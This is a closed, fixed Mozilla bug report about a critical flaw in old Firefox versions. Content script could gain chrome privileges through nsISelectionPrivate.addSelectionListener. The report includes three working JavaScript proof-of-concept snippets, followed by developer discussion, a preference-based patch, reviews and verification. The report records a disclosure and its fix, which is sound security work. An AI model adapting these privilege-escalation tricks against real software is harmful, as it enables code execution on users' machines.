Closed
Bug 336830
Opened 19 years ago
Closed 19 years ago
Arbitrary code execution using nsISelectionPrivate.addSelectionListener()
Categories
(Core :: Security, defect)
Tracking
()
RESOLVED
FIXED
People
(Reporter: moz_bug_r_a4, Assigned: bzbarsky)
Details
(Keywords: fixed1.8.1, verified1.8.0.4, Whiteboard: [sg:critical])
Attachments
(2 files, 1 obsolete file)
1.53 KB,
patch
|
dveditz
:
review+
shaver
:
superreview+
dveditz
:
approval-branch-1.8.1+
timr
:
approval1.8.0.4+
|
Details | Diff | Splinter Review |
964 bytes,
patch
|
Details | Diff | Splinter Review |
Content script can register a content-defined SelectionListener. And when a
user uses the Find Toolbar or chooses "Select All" from the context menu,
listener.notifySelectionChanged() is called and its caller has chrome
privileges.
On fx1.5.0.3, fx1.0.8 and moz1.7.13, window.setTimeout can be used to run
arbitrary code with chrome privileges.
var sel = getSelection();
sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
var l = { notifySelectionChanged : setTimeout };
sel.addSelectionListener(l);
l.__proto__ = window;
document.toString = function() { return "code"; };
On the trunk, fx2.0a1 and fx1.5.0.4, setTimeout belt-and-braces (Bug 330773
Comment #20) makes the above "code" be run with content privileges. But,
location.href setter function can be used to run code with chrome privileges.
(On the trunk, further trick is needed).
var sel = getSelection();
sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
var h = frames[0].location.__lookupSetter__("href");
var l = { notifySelectionChanged : h };
sel.addSelectionListener(l);
l.__proto__ = frames[0].location;
document.toString = function() { return "javascript:code"; };
On the trunk, when caller is chrome, the arguments that are passed to
listener.notifySelectionChanged() are XPCNativeWrapper. Thus, it's necessary
to override toString method on the XPCNativeWrapped document first.
var sel = getSelection();
sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
var h = frames[0].location.__lookupSetter__("href");
var l = {};
l.notifySelectionChanged = function(doc, sel, reason) {
try { arguments.callee.caller; return; }
catch (e) {}
doc.toString = function() { return "javascript:code"; };
this.notifySelectionChanged = h;
};
sel.addSelectionListener(l);
l.__proto__ = frames[0].location;
Reporter | ||
Comment 1•19 years ago
|
||
This works on fx1.5.0.3, fx1.0.8 and moz1.7.13.
Reporter | ||
Comment 2•19 years ago
|
||
This works on fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.
Reporter | ||
Comment 3•19 years ago
|
||
This works on trunk, fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.
Reporter | ||
Comment 4•19 years ago
|
||
When a user left-clicks, selects text or presses Ctrl+A, the safe context that
comes from the hidden window is used to call listener.notifySelectionChanged().
On Windows and Linux, the hidden window's url is
resource://gre/res/hiddenWindow.html. But, on Mac, it is
chrome://global/content/hiddenWindow.xul. Does that mean the safe context's
global object has chrome privileges on Mac? If so, is it possible to trigger
the code execution PoCs in this bug by left-clicking, selecting text or
pressing Ctrl+A?
![]() |
Assignee | |
Comment 5•19 years ago
|
||
So... this method (and possibly the whole api) looks like it should just be noscript, imo. The only script we have that uses it is the two copies of viewsource.js; we could add another API they can call (one that will check that the caller has UniversalXPConnect privileges or something).
Or would making an interface noscript be an API change? In that case we should just change this method to do the UniversalXPConnect check and add a noscript method for all the C++ callers.
Comment 6•19 years ago
|
||
I don't like using [noscript] to carry security information like "not suitable for unprivileged script" -- an implementation of that interface could certainly behave appropriately in the face of an unprivileged caller.
So let's put the security checks in, but why would the C++ callers need to call something else? They should have privs, and be able to express that (possibly with a helper to push the right principal?), I think.
![]() |
Assignee | |
Comment 7•19 years ago
|
||
> They should have privs
Generally speaking, in the current state of our security architecture, any C++ call to any function that does a security check against the subject principal should assume that the subject can be anything from chrome to the null principal.
You're right that helpers to push the null principal might work here. We could do this in that case; we'd need to modify almost all callsites for this API, create the helpers for pushing the null principal, make those accessible from a variety of modules, add a fair amount of codesize, etc. I have yet to see a decent workable mockup of this even with codesize considerations excluded.
We'd also need to document the security restrictions in the API somehow, of course, but I suppose we could use comments.
If we can find someone to do all this, on trunk and all branches, I agree it would be better than my proposal...
Updated•19 years ago
|
Flags: blocking1.8.0.5+
Flags: blocking1.8.0.4?
![]() |
Assignee | |
Comment 8•19 years ago
|
||
So... I can't reproduce with testcase 3 on trunk. I get no alert, no security errors, nothing.
I'll post a patch that should fix this and even make shaver somewhat happy. ;) But I can't really test it well, since I can't reproduce the bug.
![]() |
Assignee | |
Comment 9•19 years ago
|
||
Attachment #221219 -
Flags: superreview?(shaver)
Attachment #221219 -
Flags: review?(jst)
Attachment #221219 -
Flags: approval1.8.0.4?
Attachment #221219 -
Flags: approval-branch-1.8.1?(jst)
![]() |
Assignee | |
Comment 10•19 years ago
|
||
Attachment #221219 -
Attachment is obsolete: true
Attachment #221220 -
Flags: superreview?(shaver)
Attachment #221220 -
Flags: review?(jst)
Attachment #221220 -
Flags: approval1.8.0.4?
Attachment #221220 -
Flags: approval-branch-1.8.1?(jst)
Attachment #221219 -
Flags: superreview?(shaver)
Attachment #221219 -
Flags: review?(jst)
Attachment #221219 -
Flags: approval1.8.0.4?
Attachment #221219 -
Flags: approval-branch-1.8.1?(jst)
Comment 11•19 years ago
|
||
Comment on attachment 221220 [details] [diff] [review]
Patch for real...
sr=shaver. I like!
Attachment #221220 -
Flags: superreview?(shaver) → superreview+
Comment 12•19 years ago
|
||
Comment on attachment 221220 [details] [diff] [review]
Patch for real...
>+pref("capability.policy.default.Selection.addSelectionListener", "UniversalXPConnect");
>+pref("capability.policy.default.Selection.removeSelectionListener", "UniversalXPConnect");
Is there a reason you didn't use "noAccess" like everywhere else? UniversalXPConnect already has a magic pass:
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/caps/src/nsScriptSecurityManager.cpp&rev=1.299&mark=2893-2896#2890
I suppose doing it this way could let you check in with an obfuscated comment like "allow signed script access" and make it look like we're expanding permission, not restricting it.
r=dveditz either way though. Maybe "noAccess" on the trunk later on.
Attachment #221220 -
Flags: review?(jst)
Attachment #221220 -
Flags: review+
Attachment #221220 -
Flags: approval-branch-1.8.1?(jst)
Attachment #221220 -
Flags: approval-branch-1.8.1+
Updated•19 years ago
|
Whiteboard: [sg:critical]
Comment 13•19 years ago
|
||
Comment on attachment 221220 [details] [diff] [review]
Patch for real...
The Release Team discussed this. It is a hi risk security issue that is also a red flag when it lands on the trunk or 1.8.1. We need to fix this in 1.5.0.4 now. a=timr for drivers
Attachment #221220 -
Flags: approval1.8.0.4? → approval1.8.0.4+
![]() |
Assignee | |
Updated•19 years ago
|
Assignee: dveditz → bzbarsky
![]() |
Assignee | |
Comment 14•19 years ago
|
||
Fixed on 1.8.0 branch. Waiting for tree opening on the other branches.
Keywords: fixed1.8.0.4
Comment 15•19 years ago
|
||
Bz - you can/should land for 1.8
Updated•19 years ago
|
Flags: blocking1.8.0.5+
Flags: blocking1.8.0.4?
Flags: blocking1.8.0.4+
![]() |
Assignee | |
Comment 16•19 years ago
|
||
Fixed on 1.8 branch too...
Flags: blocking1.8.0.4+ → blocking1.8.0.4?
Keywords: fixed1.8.1
![]() |
Assignee | |
Updated•19 years ago
|
Flags: blocking1.8.0.4? → blocking1.8.0.4+
Comment 17•19 years ago
|
||
verified with 1.5.0.4rc2 on Windows. all three testcases look good.
Keywords: fixed1.8.0.4 → verified1.8.0.4
Comment 18•19 years ago
|
||
I tried the three test cases on Intel Mac 1.5.0.4rc2; no problems found.
![]() |
Assignee | |
Comment 19•19 years ago
|
||
Fixed on trunk.
Status: NEW → RESOLVED
Closed: 19 years ago
Resolution: --- → FIXED
Updated•19 years ago
|
Flags: blocking1.7.14+
Flags: blocking-aviary1.0.9+
Comment 20•19 years ago
|
||
Attachment #225485 -
Flags: review?(caillon)
Updated•16 years ago
|
Group: core-security
You need to log in
before you can comment on or make changes to this bug.
Description
•